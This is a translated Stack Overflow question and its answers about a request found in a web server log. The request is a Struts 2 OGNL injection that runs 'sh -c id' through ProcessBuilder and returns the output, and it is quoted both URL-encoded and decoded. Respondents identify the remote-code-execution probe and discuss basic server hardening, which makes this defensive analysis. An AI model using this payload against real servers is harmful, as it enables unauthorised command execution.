这个黑客用这段Java代码想要做什么?

5
在我的 Web 服务器日志中,我注意到有一个黑客试图进行以下操作:
https://[domain name]/index.action?action:${%23a%3d(new%20java.lang.processbuilder(new%20java.lang.string[]{'sh','-c','id'})).start(),%23b%3d%23a.getinputstream(),%23c%3dnew%20java.io.inputstreamreader(%23b),%23d%3dnew%20java.io.bufferedreader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.httpservletresponse%27),%23matt.getwriter().println(%23e),%23matt.getwriter().flush(),%23matt.getwriter().close()}

哪个URL可以解码为以下内容:
https://[domain name]/index.action?action:${#a=(new java.lang.processbuilder(new java.lang.string[]{'sh','-c','id'})).start(),#b=#a.getinputstream(),#c=new java.io.inputstreamreader(#b),#d=new java.io.bufferedreader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.httpservletresponse'),#matt.getwriter().println(#e),#matt.getwriter().flush(),#matt.getwriter().close()}

我的服务器不使用Java,但是我正在尝试理解这个黑客在做什么以及为什么这可能是一个漏洞。毕竟,我不仅是开发人员,还需要了解如何保护服务器,包括非由我设置的服务器。

代码似乎启动了一个新进程,然后尝试从输入流读取数据。我假设这是当前Web会话的输入流。

由于此攻击也针对/login.action和各种其他URL以及不同的Java代码进行尝试,因此我认为它具有潜在危险性。但我无法解释为什么这是危险的。

特定域名目前正在受到攻击,黑客试图查看它是否正在运行WordPress、Magenta或其他已知系统,并尝试多种不同的攻击。

但重要的是:该域名目前正在开发中,所有者仍需决定使用哪些开发工具。选择在Java和ASP.NET之间,如果他选择选择Java,那么这个攻击是否危险?


2
在你的shell上调用id(打印已知本地操作系统用户及其用户ID),并将结果写入一个Web地址,但该地址没有写在那里。必须有其他东西定义#context(或%23context)。 - Tom
3
我甚至不确定尝试代码注入是否有效,因为像 String 这样的内容都是小写的。看起来他们正在尝试复制某些已知漏洞,利用一些糟糕编写的代码,该代码接受格式不正确的 Java 代码并毫无询问地运行它。 - Federico klez Culloca
1个回答

9
它试图利用Struts 2中的RCE漏洞,我认为是这个漏洞。该漏洞很严重,Freemarker将执行任何在${}标签内的代码。 Freemarker代码启动一个进程来执行id,以查看服务器是否以root身份运行,从而获得对该系统的完全访问权限。即使某些Struts版本存在漏洞,攻击者也可能不感兴趣,除非您正在以root身份运行。
攻击者的程序具有许多旧版漏洞,可以在非常不安全的服务器上使用,但即使简单的管理员协议也会保护您免受这些业余攻击的影响。只有在以root身份运行、使用软件的旧版本、使用弱密码或默认密码打开db服务器并将其暴露在互联网上等情况下才会存在漏洞。
无论您选择哪种技术,都会存在安全问题,并需要遵循CVEs。例如,像Spring这样的现代Java框架也有一些漏洞,但远程代码执行是相当罕见的,这就是那些攻击程序所寻找的。

1
我了解安全性,这就是为什么我进行额外的URL日志记录来查看调用了什么。很高兴知道它与Apache有关,因为所有者不想使用它。 - Wim ten Brink
1
我猜您的意思是所有者不想使用Apache [httpd] (http://httpd.apache.org/), 但这与Struts也是Apache项目无关。 - Kayaman
不是,所有者只是不想使用任何由Apache制造的东西。我不确定为什么,因为我不想质疑那个决定。“无Apache软件”对我来说是一个清晰的工作指示。 :) - Wim ten Brink

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接